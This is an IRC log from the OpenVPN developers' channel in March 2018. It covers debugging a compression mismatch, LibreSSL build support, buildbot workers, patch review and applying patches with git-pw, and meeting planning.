08:08 <@ordex> hey guys I am running 2.4.5 on a server of mine and I am getting server "IP packet with unknown IP version=5 seen" when I try to connect an host using HTTPS over the VPN. anybody has experienced that? 08:09 <@ordex> I sniffed my traffic with wireshark on my client and I did not see anything that was not ipv4 or v6 08:09 <@ordex> (as expected) 08:10 <@ordex> I am wondering if the decryption is going weird (?) 08:24 <@cron2> tap client talking to tun server? 08:24 <@cron2> (so, ethernet packet ending up in "tun", having a mac address with "5" in the corresponding field...) 09:09 <@cron2> ordex: I think https://patchwork.openvpn.net/patch/141/ is something for you :) 09:09 <@vpnHelper> Title: [Openvpn-devel,02/10] tls-crypt-v2: add specification to doc/ - Patchwork (at patchwork.openvpn.net) 09:21 < cthuluh> hi 09:21 < cthuluh> additional questions regarding buildbot and OpenVPN: is the buildbot web interface public? 09:57 <@cron2> no 09:57 <@cron2> (as far as I can see it does not have any sort of authentication, so "if you can see it, you can do things") 09:58 <@cron2> it's living on a dedicated VPN 10:14 < cthuluh> so that means that the current status of builders is only visible to project members? 10:14 <@cron2> yes (but we aim to "everything is always all-green" :) ) 10:15 <@cron2> the display is a bit misleading, though - we have a few buildslaves that have issues of some sorts, so there is red, which is "the buildslave is broken" not "openvpn is broken" 10:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 10:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:23 < cthuluh> I just replied to "[PATCH] Add a warning that we do not officially support LibreSSL" 10:24 < cthuluh> my question about buildbot is related: I'd like to be notified as soon as OpenVPN doesn't build with LibreSSL 10:24 < cthuluh> since I know buildbot (I use it at work) I figured that more recent OpenBSD workers would help 10:25 < cthuluh> say, -stable and --current 10:26 < cthuluh> ... but they wouldn't help much if you folks need to poke me when LibreSSL is broken 11:43 <@syzzer> cthuluh: the overview is private, but you can subscribe to email notifications of failures. That is a bit verbose though... 11:44 <@syzzer> https://sourceforge.net/projects/openvpn/lists/openvpn-builds 12:03 <@cron2> cthuluh: thanks for the offering. Yeah, I need to upgrade my OpenBSD builder (or clone it, keep the 6.0 one and install a -current, whatever) 12:04 <@cron2> oh, selva is on it already :-) 12:06 < cthuluh> syzzer: hah, thanks 12:07 < cthuluh> cron2: it's already nice that you have a 6.0 box 12:07 < cthuluh> technically it's still supported by OpenBSD 12:07 < cthuluh> I'm not sure I would bother with a 4.9 box, though 12:07 <@cron2> I *do* care about OpenBSD :-) - but I'm more the "networking and general OS support" person than crypto... 12:08 <@cron2> funny that you mention *4.9* in particular... 12:08 <@cron2> $ uname -a 12:08 <@cron2> OpenBSD obsd49.ov.greenie.net 4.9 GENERIC.MP#794 i386 12:08 < cthuluh> well that's your other vm 12:08 <@cron2> $ uptime 12:08 <@cron2> 7:08PM up 1056 days, 10:40, 1 user, load averages: 0.07, 0.14, 0.13 12:08 <@cron2> yep, exactly :) 12:09 <@cron2> didn't know that was widely known :-) - it just keeps running, and serves (as the FreeBSD 7.4 one) as "yep, we've really not broken old unix compatibility yet" :-) - eventually it will get broken with *good reason* and then it's gone 12:09 <@cron2> cthuluh: which time zone are you in? 12:10 < cthuluh> your 4.9 box is listed on https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 12:10 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 12:10 <@cron2> ah :) 12:10 < cthuluh> cron2: I'm in Nantes, France (CEST) 12:10 <@cron2> we currently do "devel team" meetings wednesday 11:30 european time (MET), and I think LibreSSL would be a good topic 12:10 <@cron2> well 12:11 <@cron2> now that we have your offer to help with LibreSSL related issues, things change a bit in my view 12:11 <@cron2> but the authority on crypto library support is syzzer/dazo/ordex, I just go and commit things and then get yelled at :-) 12:12 < cthuluh> well I hesitated to step up earlier, hoping that just providing patches after the fact would be enough 12:12 <@cron2> so, if you have time next wednesday (and syzzer has), I would like to discuss this a bit 12:12 < cthuluh> I thought those meetings were around 19:00 CET, I'd be at work at 11:30 MET 12:12 < cthuluh> but yeah, I'd be interested 12:13 <@cron2> I'm not trying to push you into a "openvpn maintainer" role :-) - but having an authority on "what and why is changing on the LibreSSL side of things" makes it easier for us to understand, I think 12:13 <@cron2> we moved from 19:00 to 11:30 because ordex is in .hk, and 19:00 here is 4:00 there - which is really *really* inconvenient 12:14 <@cron2> 11:30 is work time for me as well, but usually I can make it work 12:14 < cthuluh> ouch, indeed :) 12:14 < cthuluh> well I'll try to ask this to my boss 12:15 <@cron2> let's hope this works out :) - otherwise, syzzer is reading along, so let's see what he thinks (and ordex will read the backlog and write 100s of lines between 2 and 6 MET...) 13:05 < cthuluh> a chat with a few people may work better than mails to a public mailing-list on this matter 13:06 < cthuluh> I know I've refrained from commenting on LibreSSL earlier because the subject calls for trolls 13:06 <@cron2> even without the trolls, there is quite a bit of frustration boiling... 13:07 < cthuluh> that's what I see, reading the backlog on openvpn-devel :) 13:08 < cthuluh> on another subject, I've just pushed openvpn-2.4.5 committed to the OpenBSD ports tree 13:08 <@cron2> cool :) 13:08 < cthuluh> works well on amd64 *and* sparc64! 13:09 <@cron2> seems I'll have to move my sparc64 machine to OpenBSD eventually... FreeBSD has moved sparc64 to "Tier2" status, and quite a few things are already falling apart :-/ 13:10 < cthuluh> OpenBSD would give you ldoms, a la Solaris 13:10 < cthuluh> ie, hardware-assisted virtual machines 13:11 < cthuluh> I use a 12 cores, 20GB of ram sparc64 ldom to do ports testing 13:11 <@cron2> not on that old iron :) - it's a dual-cpu SunFire 240 13:12 < cthuluh> hah 13:13 < cthuluh> the host machine is a T5220, here 13:14 <@cron2> nice :) 13:15 < cthuluh> not as nice as the M10 and M12 machines that are supported since a few months ;) 15:33 <@plaisthos> ordex: sounds like compression mismatch 15:36 <@plaisthos> iirc one of the compression header matches ipv5 19:05 <@ordex> cron2: nope, it's tun-tun 19:05 <@ordex> plaisthos: in that case the error is normally different, no? 19:05 <@ordex> and weird that i get that only on "some" packets 19:05 <@ordex> but let me double check 19:08 <@ordex> plaisthos: you were right. with compression disabled it works 19:08 <@ordex> cron2: ^^ 19:08 <@ordex> weird this isn't caught earlier 19:10 <@ordex> plaisthos: you were right. with compression disabled it works 19:11 <@ordex> stupid mistake. On the server I had set 'push "compress lz4" 19:11 <@ordex> but no local compress directive was given 20:14 <@ordex> cron2: am I wrong or in the manpage there is no hint as of which ipv6 netmask lengths are supported by server-ipv6? 20:26 < kitsune1> ordex: just out of curiosity, wasn't that error ip version = 15? I'm surprised how lz4 can lead to 5 as the first nibble and get interpreted as ip version. 20:26 <@ordex> no, it was '5' 20:26 <@ordex> I was using lz4-v2 (not sure it makes the difference?) 20:28 <@ordex> but it's the first byte in the inner packet that gets interpreted as ip version (after deframing), so maybe the compression byte was removed already? I haven't checked the code 20:28 < kitsune1> hm... one always see users complaining about 15 which arises from F as the first nibble of packets on which compression is skipped while in for lzo compressed, the first nibble is 4. So the receiver with no compression enabled withe sees ip version = 4 or 15. 20:29 < kitsune1> No, it will not be removed as the recipient expects uncompressed packet when on compress option is given. 20:45 < kitsune1> But you pushed compress lz4. Wonder what really goes wrong in such cases. 21:51 < kitsune1> aha, COMP_ALGV2_INDICATOR_BYTE = 0x50 is the first byte, and that's where 5 could come from. Is lz4-v2 documented? can't find in the man page. 21:54 <@ordex> missing in the manpage 22:17 <@ordex> cron2: cthuluh: if we want to organize a one-time meeting to discuss a specific topic at a different time, feel free to do it. doing it once is not a big deal :) what I am concerned the most is doing a meeting in the middle of the night *every week* 22:17 <@ordex> :P --- Day changed Mon Mar 05 2018 01:50 < cthuluh> ordex: ack 02:38 <@cron2> ordex: *cough*. The whole netbits topic is a bit painful 02:38 <@cron2> most likely it needs revisiting of the code, and then certainly documentation 02:48 <@ordex> cron2: yeah...in my bucket of things to finish, I still have the full conversion from netmasks to netbits :P 02:48 <@ordex> it's 3/4 there :P 03:12 <@mattock> oh btw I will be on a plane on Wed during meeting time 03:12 <@cron2> cthuluh: it is not nice if you point out that our assumptions about OpenSSL are flawed... much easier to only blame LibreSSL for everything! :-) 03:20 <@cron2> mattock: plane with wifi? 03:23 <@ordex> :D 03:50 <@plaisthos> Yeah that 0x50 was chosen since it should almost never happen in a normal packet 03:52 <@ordex> plaisthos: cron2: how about extending the proto version switch with those known compression values so to print a more meaningful message? (i.e. IP proto version unknown, is encryption on the peer enabled?) 03:54 <@cron2> ordex: you've found another of the funny-smelling corners, congratulations :-) 03:54 <@cron2> (and yes, please, that would be useful) 03:54 <@ordex> :D 03:54 <@ordex> not sure why I ofetn come across these smelling things :P 03:54 <@ordex> *often 03:55 <@cron2> alternatively, just make openvpn more robust against compression misconfiguration... 03:55 <@ordex> yeah 03:55 <@ordex> i.e. make it more explicit than a non-understandable 1 byte unless both parties agree on a value beforehand? :D 03:56 <@ordex> like a header field 03:56 <@ordex> that can be checked with a proper meaning 03:56 <@cron2> well, a well-defined 1 byte is fine, I think, if all components know what to do with it 03:57 <@cron2> no space in the data channel for a header field, unless you want to do P_DATA_v3 with "all wrapped in xml" :) 03:57 <@ordex> sure, the problem is that "the byte is not there" is also a possible value 03:57 <@ordex> lol 03:57 <@ordex> :D 03:57 <@syzzer> cthuluh: I guess you're Jeremie on openvpn-devel? Yeah, I realize there's some frustration in the discussion. I try to stay objective and polite, but spending yet again my weekend hours on sort-of supporting a crypto lib we didn't ask for, while $girlfiend is starting arguments that I'm spending too much time behind the laptop makes it kinda hard ;-) 03:58 <@ordex> :D 03:58 <@ordex> syzzer: we all know what that means!! 03:58 <@ordex> hehe 03:59 <@syzzer> :') 04:08 <@cron2> syzzer: you sound very much frustrated 04:13 <@plaisthos> cron2: yeah sounds like a good idea 04:13 <@plaisthos> argh 04:13 <@plaisthos> ordex: ^^ 04:13 <@ordex> :) 04:13 <@ordex> yup 04:14 <@plaisthos> I am later tdoday sending the auth-token fix patch 04:14 <@plaisthos> But I guess that will spark a discussion if that is really the right way to fix it 04:37 <@plaisthos> mattock: can you auth-token patch on the meeting agenda? 04:45 <@cron2> mattock: in case you missed it :-) - please put LibreSSL on the agenda as well 07:14 <@cron2> FreeBSD 10.3 buildslave is now on 10.4 08:08 -!- slypknot is now known as tincantech 09:21 <@ordex> plaisthos: you should really tell your editor to go to a new line after 72 chars when writing a commit message :) 09:21 <@ordex> :P 09:21 <@plaisthos> narf 09:27 <@plaisthos> will fix on v2 :) 09:33 <@cron2> narf 09:34 <@cron2> Mon Mar 5 16:34:14 2018 WARNING: Using --management on a TCP port WITHOUT passwords is STRONGLY discouraged and considered insecure 09:35 <@cron2> on a system without any --management... (patch from Selva just came in) 09:35 <@syzzer> oops.. 09:35 <@syzzer> fortunately not released yet :) 09:49 <@vpnHelper> RSS Update - gitrepo: Management: warn about password only when the option is in use <https://github.com/OpenVPN/openvpn/commit/5961250e776194a411a8dfc1670c5c0c73107bf8> 12:04 < cthuluh> syzzer: yep 12:05 < cthuluh> I will attend the next meeting, just got the green light from $WORK 12:34 <@cron2> cool 13:53 < SCHAPiE> hi 13:54 < SCHAPiE> it seems version 2.4.5 fails to build with LibreSSL: https://hastebin.com/imiwiyexef.js 13:54 <@vpnHelper> Title: hastebin (at hastebin.com) 13:55 < SCHAPiE> this is an issue for OSs and distros that use LibreSSL, like: OpenBSD, DragonFlyBSD, Alpine Linux, Void Linux, some FreeBSD and Gentoo users, and some adventurous other users 13:56 < cthuluh> SCHAPiE: known, fixed with LibreSSL HEAD on OpenBSD 13:56 < SCHAPiE> ah, it'll be fixed in LibreSSL? 13:57 < SCHAPiE> or it already is, okay 13:57 < SCHAPiE> excellent, i'll just wait for LibreSSL 2.6.5 then, thanks cthuluh 13:58 < cthuluh> SCHAPiE: there's also a patch for openvpn: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg16614.html 13:58 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Do not assume that SSL_CTX_get/set_min/max_proto_version are macros (at www.mail-archive.com) 13:58 < cthuluh> it may not be applied, though, discussions are ongoing 13:59 < cthuluh> SCHAPiE: also there's a good chance that you'll have to switch to LibreSSL 2.7.0 because LibreSSL 2.6.5 may not include those fixes 13:59 < cthuluh> the diff is trivial, though: https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libssl/ssl.h.diff?r1=1.145&r2=1.146 14:00 < SCHAPiE> cool 14:00 < cthuluh> btw, maybe you'd better read the openvpn-devel mailing-list, the issue has been brought up there already :) 14:00 < SCHAPiE> very glad it's already seen and worked on 14:01 < SCHAPiE> yeah, i do receive it in my work mailbox, but i've overlooked it lately :) 14:01 < SCHAPiE> sry for the fuss 14:01 < SCHAPiE> cool, 2.7.0 it'll be then 14:05 < cthuluh> it seems like you're using your own copy of LibreSSL, you could just patch it 14:07 < SCHAPiE> good idea indeed 16:16 < SCHAPiE> and i can use the same patch with openvpn-build, this is nice :D 16:16 < SCHAPiE> well, slightly altered for openvpn-2.4.5: https://ptpb.pw/fi7Y 17:22 < SCHAPiE> hm, when crosscompiling (using openvpn-build), configure.ac isn't used in the buildscript's build_openvpn() 17:37 < SCHAPiE> And it makes sense. I wonder how to get the patch working with openvpn-build. Or I'll just have to be patient wrt cross-compiling the new version. 19:48 < kitsune1> SCHAPiE: if you edit configure.ac run "autoreconf -if" to regenerate configure. Will work if autoconf et al are available in the build box. 19:50 < kitsune1> Or go back to the devel box where git repo is cloned, apply the patch, run autoreconf and make dist to recreate the tar-ball. --- Day changed Tue Mar 06 2018 01:51 <@cron2> *sigh* modern compilers are the plague 01:51 <@cron2> sendfax.c:506:6: warning: ignoring return value of 'write', declared with attribute warn_unused_result [-Wunused-result] 01:51 <@cron2> (void) write( fd, "AT", 2 ); 01:52 <@cron2> "yes, this is why I put (void) there, to tell you I do not care" 02:01 <@ordex> :D 02:01 <@ordex> why don't you care? :P 02:01 <@ordex> but I'd rather blame who did put the warn_unused_result rather than the compiler 02:01 <@ordex> rather² 02:04 <@cron2> well, it makes sense to warn about write() results being ignored 02:05 <@cron2> in this particular piece of code, it's a "this cannot reasonably fail, but if it does, the next call goes to a function that operates on the same fd and has proper error reporting, state aborting, etc." 02:06 <@cron2> (it's a tty file descriptor, which can only fail in very exceptional circumstances, like "the device was disconnected", and that will never recover - so when it fails, it will fail all the way through) 02:08 <@cron2> I accept that the compiler warns me, but I expect that if I tell it "I cast the return value to (void) because I am not interested" it will accept that, too 02:10 <@ordex> hehe 02:10 <@ordex> yeah makes sense 02:10 <@ordex> I thin kthe trend is "developers are getting less and less smart, so better make sure tools outsmart them" :P 02:10 <@ordex> of course, it doesn't apply to us ;) 02:11 * ordex is just joking 03:20 <@cron2> we have so many checks for coding mistakes that we have to resort to logic mistakes that the compilers cannot find yet 03:20 <@cron2> like, printing management warnings when --management isn't even enabled... 03:33 <@mattock> fyi: I signed openvpnserv2 (something that got reported to security@openvpn.net Nov 17th 2017) 03:34 <@mattock> I informed the person directly but did not want to pollute the security list with this nugget of informtaion 03:34 <@mattock> information 03:34 <@mattock> regarding meeting: so I'm unable to make it on Wed 03:34 <@mattock> I maybe be able to do Thu or Fri but I will get the bad eye from $wife 03:34 <@mattock> read: family holiday 03:35 <@cron2> since we already got chtuluh's boss to agree to Wed this week, we'll have to do without you 03:35 <@mattock> ok, sounds good 03:35 <@mattock> that will actually be the first meeting I've missed afaicr 03:35 <@mattock> I may have to celebrate 03:35 <@mattock> do we have a topic list? 03:36 <@cron2> LibreSSL is one 03:36 <@cron2> and I think ordex had another one yesterday 03:36 <@mattock> I will setup the agenda 03:37 <@ordex> did I? mh let me check the backlog 03:37 <@ordex> oh, maybe how to better handle compression algorithms? 03:37 <@plaisthos> I had one 03:38 <@plaisthos> the auth-token patch and if the approach I took is the right one 03:38 <@cron2> ah, no, plaisthos - indeed :) 03:39 <@mattock> feel free to add: https://community.openvpn.net/openvpn/wiki/Topics-2018-03-07 03:39 <@vpnHelper> Title: Topics-2018-03-07 – OpenVPN Community (at community.openvpn.net) 03:39 <@mattock> I can add the auth-token thing, libressl is there 03:39 <@mattock> I assume that LibreSSL = "How to manage LibreSSL better, and who maintains it"? 03:39 <@cron2> yes 03:40 <@cron2> "how can we make this less stressful" 03:48 < eworm> oh, the sitnl branch is already up to date? 03:48 < eworm> nice :D 03:49 <@mattock> agenda in fairlly good shape 04:19 < eworm> ordex: Did the netlink patch go to the mailing list already? Should I send enhancements there or to you? 04:19 <@ordex> eworm: no mailing list yet 04:19 < eworm> dazo: Currently running openvpn with dedicated user openvpn ;) 04:20 <@ordex> eworm: I rebased the branch last week, but you were not online and i couldn't poke you 04:20 <@ordex> :) 04:20 <@ordex> cool 04:22 <@ordex> eworm: this is more a patch for dazo, but if I understand systemd correctly, this is awesome! :) 04:40 < eworm> ordex: he is cc'ed 04:40 <@ordex> yup yup 04:51 < eworm> this also fixes service shutdown as we still have the permissions to remove routes and addresses 04:51 <@ordex> right 04:51 <@ordex> and possibly soft-restart too ? 05:00 < eworm> yes 05:00 < eworm> guess so, did not test 05:00 < eworm> but there is no reason it should fail there 05:28 <@ordex> yup 06:34 < eworm> building a package from git results in a decrease of version number :-/ 06:37 < eworm> I will add a local tag 2.5_git to... e1dd49a3 :D 07:00 <@syzzer> eworm: why (and to what) does the version get reset? 07:01 < eworm> what version? 07:01 <@syzzer> version.m4 in the master branch should set the version to 2.5_git 07:01 < eworm> oh, the packaging 07:01 <@cron2> I think he's talking about arch linux packaging :) 07:01 < eworm> yes 07:01 <@syzzer> I mean, why do you need to set a local 2.5_git tag? 07:01 < eworm> the arch package gets its version from git 07:01 <@syzzer> ah... ok :) 07:02 < eworm> so we have 2.4_rc2.whatever 08:49 -!- slypknot is now known as tincantech 16:07 < kareena> hello 16:09 < kareena> from where i can download openvpn mobile client code source? 16:49 < pekster> If you mean OpenVPN for Android (the open-source app) see: https://github.com/schwabe/ics-openvpn 16:49 <@vpnHelper> Title: GitHub - schwabe/ics-openvpn: OpenVPN for Android (at github.com) 16:50 < kareena> thank you very much 20:22 <@ordex> aloha --- Day changed Wed Mar 07 2018 01:59 <@cron2> ordex: aloah. You've been working on tls-crypt v2 for openvpn3, have you? 02:00 <@cron2> if yes, can I motivate you to review https://patchwork.openvpn.net/patch/141/ ? 02:00 <@vpnHelper> Title: [Openvpn-devel,02/10] tls-crypt-v2: add specification to doc/ - Patchwork (at patchwork.openvpn.net) 02:02 <@ordex> cron2: yes I have implemented it and tested against syzzer's patches already 02:02 <@ordex> yeah 02:02 <@ordex> I think I shuld poke myself for reviewing the rest at least a bit 02:10 <@cron2> ordex: cool. I intend to review the "move code out of misc.c" parts (easy enough, but someone has to do it :) ), but the doc/ is really for "someone who knows what is going on" 02:13 <@ordex> sounds good 02:14 <@ordex> cron2: btw, I had created a bundle some time ago to help grouping those patches: https://patchwork.openvpn.net/bundle/ordex/tls-crypt-v2/ 02:14 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 02:15 <@cron2> nicely grouping does not really make them go away... unfortunately :-) 02:17 <@ordex> :D 02:17 <@ordex> true 02:33 <@cron2> dazo: are around for a quick git question? 02:35 <@cron2> solved :) 02:41 * cron2 is moving a project into git, and my early fumbling with git cvsimport had created a number of remote branches that the *remote* does no longer have but the *local* instance has... and "git branch -d $branch" refuses to delete "local copies of remote branches" - unless you add "-r" 02:42 <@cron2> (said project is mgetty+sendfax, which had its 25th birthday yesterday...!) 02:43 <@cron2> one if the earliest commits is 02:43 <@cron2> Date: Tue Feb 16 14:01:07 1993 +0000 02:43 <@cron2> Changes for Linux port 02:43 <@cron2> Date: Thu Mar 11 17:23:38 1993 +0000 02:43 <@cron2> some changes for Linux / libc 4.3 02:45 <@ordex> happy birthday 02:45 <@ordex> cron2: what do you exactly want to accomplish? 02:45 <@cron2> ordex: all solved :) (I just need to clean up branches that did no longer exist anyhwere, but still existed in "remotes/$remote/$branch") 02:46 <@ordex> ah ok :) 02:46 <@cron2> you need to add "-r" to be able to do "git branch -d $remote/$branch" 02:46 * ordex normally purges remote branches with "git push $remote :$branch" 02:47 <@ordex> yeah if you have a local copy of the remote-tracked branch - I prefer to remove the remote first (with the push command from above) and the local later (with just -d) 02:47 <@ordex> hehe git <3 02:48 <@cron2> the remote got removed on a different path (I think on the remote itself), so the local copy said "it's still there" while the remote said "I do not have it, you can't delete it with :$branch" 03:02 <@ordex> ah 03:02 <@ordex> family disagreement 03:02 <@ordex> cron2: but you mentioned "remotes/$remote/$branch" 03:02 <@ordex> had you try running "git remote update -p" ? 03:03 <@ordex> that should (p)urge remote branches that are not in the remote repo for real 03:03 <@ordex> anyway, you solved it already :p 03:20 <@cron2> oh, another approach, interesting. I tried "git fetch $remote" and that didn't do anything 03:25 <@ordex> it will fetch the remote but won't purge your local copies of the remote branches (same as remote update) 03:25 <@ordex> that's where the -p is handy 03:25 <@ordex> and will purge all the non-existing remote copies in one go 06:22 <@syzzer> dazo: can I interest you in another look at https://patchwork.openvpn.net/patch/167/ ? 06:22 <@vpnHelper> Title: [Openvpn-devel] Check for more data in control channel - Patchwork (at patchwork.openvpn.net) 06:33 <@dazo> syzzer: absolutely! I'll try to get some time later today (home alone with $kid2 today until later in the afternoon - and need to pick up $kid1 from kindergarten before dinner time) 06:39 <@syzzer> fro your background: we'll probably be shipping that patch in openvpn-nl 2.4.5, because it's basically needed for all the control channel performance improvements 06:39 <@syzzer> so we'd like to get it out into the world as soon as possible 06:39 <@syzzer> (or any alternative with the same effect, of course) 06:42 <@ordex> syzzer: I was reading the thread and in a previous email you say that "mbedtls has a better way to understand if there is more data available". But why would mbedtls know that? the data we want to read hasn't beedn passed to the ssl object by means of key_state_write_ciphertext(), therefore mbedTLS shouldn't know about it yet, no? 06:42 <@ordex> re: https://patchwork.openvpn.net/patch/167/ 06:42 <@vpnHelper> Title: [Openvpn-devel] Check for more data in control channel - Patchwork (at patchwork.openvpn.net) 06:45 <@ordex> syzzer: another question: if for any reason (i.e. buffering somewhere else) we have several packets in the queue, wouldn't *wakeup = 0 basically allow tls_process() to steal the CPU for quite some time ? (I don't know how the event scheduling is handled in this regard) 06:49 <@ordex> (we have some code above checking that wakeup is never assigned a value <= 0) 06:57 <@dazo> we can bring this patch up in the meeting ordex and I will have with James today, to get his response as well 07:08 <@cron2> hrmph 07:10 <@cron2> now sf.net is halfway working again - and now mail-archive.com is broken 07:22 <@syzzer> dazo: that would be great 07:23 <@syzzer> ordex: the wakeup scheduling puts us back into the main loop, so other clients should be serviced in between 07:24 <@syzzer> ordex: wrt the buffer, key_state_write_ciphertext() could have been called multiple times, because we receiverd multiple ciphertext chunks before we process the first piece of plaintext 07:25 <@syzzer> I say that happening when I was testing with large push messages (from ~20kB) in combination with 1% packet loss 07:25 <@syzzer> say/saw 07:27 <@syzzer> (the code indeed assumes that this can't happen, but it does.) 07:48 <@cron2> ugh 07:49 <@cron2> reviewing "I moved out a few things from misc.c" patches... 07:51 <@cron2> are there tools that make this more pleasant, like "this chunk is really identical to that one"? 07:55 <@syzzer> cron2: not that I know of, unfortunately :( 08:17 <@cron2> meh... killed cmake on the box I used to use for the cmocka tests 08:23 <@syzzer> cron2: bah 08:24 <@syzzer> will see if I can easily fix that 08:25 <@cron2> syzzer: sorry... 08:25 <@cron2> I thought this was nicely standalone to get it out of the way... 08:26 <@syzzer> nah, I'm sorry. I want each commit in the tree to pass tests, so good that you caught it 12:34 <@cron2> argh... loonie time again... 12:53 <@dazo> syzzer: ordex: Regarding patch 167, James didn't have any reservations to that approach. In fact he said: "If this comes from Steffan, I have no reasons to doubt it" ;-) 12:53 <@dazo> it's not an official ACK from him, but definitely something to go further with 12:54 <@cron2> hehe, since James never uses the word "ACK", this is as good an endorsement as it ever gets :) 12:55 <@dazo> true ;-) 13:19 < tincantech> where does the number 167 come from ? 13:20 <@dazo> tincantech: https://patchwork.openvpn.net/patch/167/ 13:20 <@vpnHelper> Title: [Openvpn-devel] Check for more data in control channel - Patchwork (at patchwork.openvpn.net) 13:22 < tincantech> dazo: tyvm 13:24 <@dazo> yw! 13:35 < tincantech> it is a shame patchwork does not sort by patch number .. 13:51 <@cron2> it mostly does, except if patches arrive out of order 13:51 <@cron2> like, someone bouncing a months-old patch to patchwork (92) 13:52 <@cron2> so, normally numbers are by-date, and if patches arrive in order, they get sorted by number... 14:01 <@dazo> cron2: you have enough brainpower to check out a new pgp seclist key? 14:08 * dazo takes 6 minutes of silence as a "No, not today" 14:08 <@dazo> I'll continue with this tomorrow ... if all goes as planned, I should be much more available tomorrow - also during normal CET work hours :) 15:00 < tincantech> query pekster 15:00 < tincantech> sorry 15:16 <@dazo> patchwork is cool .... 15:16 <@dazo> $ git pw patch apply 167 15:16 <@dazo> Applying: Check for more data in control channel 15:17 <@dazo> hmmm ... and we can grab the message-id from 'git pw patch show 167' 15:37 <@cron2> dazo: uh, wasn't at the keyboard 15:42 <@syzzer> dazo: so not updating the expiry date I gather? 15:45 <@dazo> syzzer: ordex recommended creating a new subkey only, and it makes sense to have a proper key rotation 15:46 <@syzzer> okay, works for me :) 15:46 <@dazo> the public key stays the same, but the signatures will be created by a new key id ... and so we need to just enlist those subkey keyids on our web-page - not just the public key keyid 15:46 * syzzer needs to try that git-pw thingy 15:47 <@dazo> I'm probably going to consider to rework our git-ack-am routine a bit ... a bit later, though 15:49 <@dazo> (fetch patch via git-pw, grab the message-id - grab the same patch via mid.mail-archive.com and compare them ... if identical, continue with applying the patch) 15:50 <@dazo> and I believe we can even flip the "state flag" via git-pw too 15:50 <@dazo> $ git pw patch update 15:50 <@dazo> ... 15:50 <@dazo> --state STATE Set the patch state. Should be a slugified 15:51 <@dazo> representation of a state. The available states are 15:51 <@dazo> instance dependant. 15:53 <@dazo> heh .... openvpn code .... interval_t wakeup = BIG_TIMEOUT; 15:54 <@dazo> #define BIG_TIMEOUT (60*60*24*7) /* one week (in seconds) */ 15:54 <@dazo> well, yeah, that's big for sure :) 15:59 <@syzzer> hehe 16:00 <@syzzer> hm, for now "git-pw patch apply 147" is just throwing python stack traces at me 16:00 <@syzzer> lets see if pip install instead of pip3 install works... 16:01 <@dazo> heh 16:01 <@syzzer> yes, that works better - amazing how many python scripts are not yet ready for python3... 16:02 <@dazo> yeah ... well, amazing how they could make python3 so incompatible in subtle ways with python2 in general :-P 16:02 <@dazo> (not saying it wasn't needed .... but ... yeah, it's a mess) 16:06 <@syzzer> yes, it is 16:10 <@vpnHelper> RSS Update - gitrepo: Check for more data in control channel <https://github.com/OpenVPN/openvpn/commit/b00d56e1b0cf4d71dc4944ef14ea7eca2fc8c519> 16:17 <@syzzer> whee \o/ 16:20 * dazo is poking at plaisthos auth-token patch now ... a bit heavier patch :) 16:30 <@syzzer> yeah, slightly more line changes :') 16:32 <@syzzer> cron2: are you sure that you applied just patch 147? master+147 runs the unit tests just fine here... 16:39 <@dazo> you just applied 147 on top of git master? I can double-check 16:39 <@syzzer> uh? 16:39 <@syzzer> ah, yes 16:40 <@syzzer> I just pushed to my private github repo to give travis a go at is - so for a second I thought you meant I pushed the patch to the core repo :') 16:40 <@dazo> :) 16:40 <@syzzer> but 147 does not apply cleanly 16:41 <@syzzer> resolving should be easy though - if you ignore that the misc.c file changed a single line 16:41 <@dazo> nope, misc.c issues on my side 16:41 <@syzzer> you can just remote that hunk for the test 16:41 <@syzzer> remoVe 16:42 <@dazo> okay, I'll run make check now 16:43 <@dazo> hmmm ... need to remove the env_set.[ch] stuff too 16:45 <@syzzer> This is what builds for me: https://github.com/syzzer/openvpn/tree/147 16:45 <@vpnHelper> Title: GitHub - syzzer/openvpn at 147 (at github.com) 16:47 <@syzzer> travis agrees: https://travis-ci.org/syzzer/openvpn/jobs/350571067 16:47 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 16:47 <@syzzer> cron2: can you check how your patch-apply is different from mine in the above branch? 16:48 <@dazo> tls_crypt_testdriver-env_set.o: In function `env_allowed': 16:48 <@dazo> collect2: error: ld returned 1 exit status 16:48 <@dazo> meh 16:48 <@dazo> irc 16:48 <@dazo> /home/davids/devel/OpenVPN/openvpn/tests/unit_tests/openvpn/../../../src/openvpn/env_set.c:417: undefined reference to `script_security' 16:49 <@dazo> that's what I've ended up with ... I cleaned up all the duplicated functions in misc.c .... http://termbin.com/poja 16:50 <@dazo> meh ... that one ignored your new files, though 16:51 <@dazo> this is the complete stuff http://termbin.com/ew1h ... on top of latest master 16:51 <@dazo> $ git grep script_security 16:51 <@dazo> src/openvpn/env_set.c: return (script_security >= SSEC_PW_ENV || !is_password_env_var(str)); 16:51 <@dazo> src/openvpn/misc.c:int script_security = SSEC_BUILT_IN; /* GLOBAL */ 16:51 <@dazo> src/openvpn/misc.h:extern int script_security; /* GLOBAL */ 16:52 <@dazo> (I removed the unrelated matches) 16:55 <@syzzer> okay, I must have just screwed up with applying somehow then... 16:55 <@syzzer> thanks :) 16:58 <@syzzer> ahhh, I see. You add env_set.c to the tls_crypt_testdriver, but that will only be needed when we actually start using functionality from there :) (It doesn't include misc.c now either.) 16:58 <@dazo> right :) 17:00 <@syzzer> cron2: ^^ solved, it seems :) 17:01 <@syzzer> cron2: wrt reviewing such move-around-bits diffs, the new git diff --color-moved (since 2.15) might make it a bit easier to review 17:04 * dazo need to upgrade git again 17:04 <@syzzer> yeah, i had to too 17:05 <@syzzer> anyway, time to catch some sleep - good night! 17:05 <@dazo> gnight! 17:14 <@dazo> oh ... this will be fun ... mbedtls-2.7 hit Fedora EPEL :/ 17:25 <@dazo> hmmm .... seems to be good ... compiled openvpn3-linux without issues, smoketesting seems to work 20:19 <@ordex> dazo: yeah there shouldn't be any breakage 22:12 <@vpnHelper> RSS Update - tickets: #1035: iOS: OpenVPN Connect will hang with connected status after failed handshake 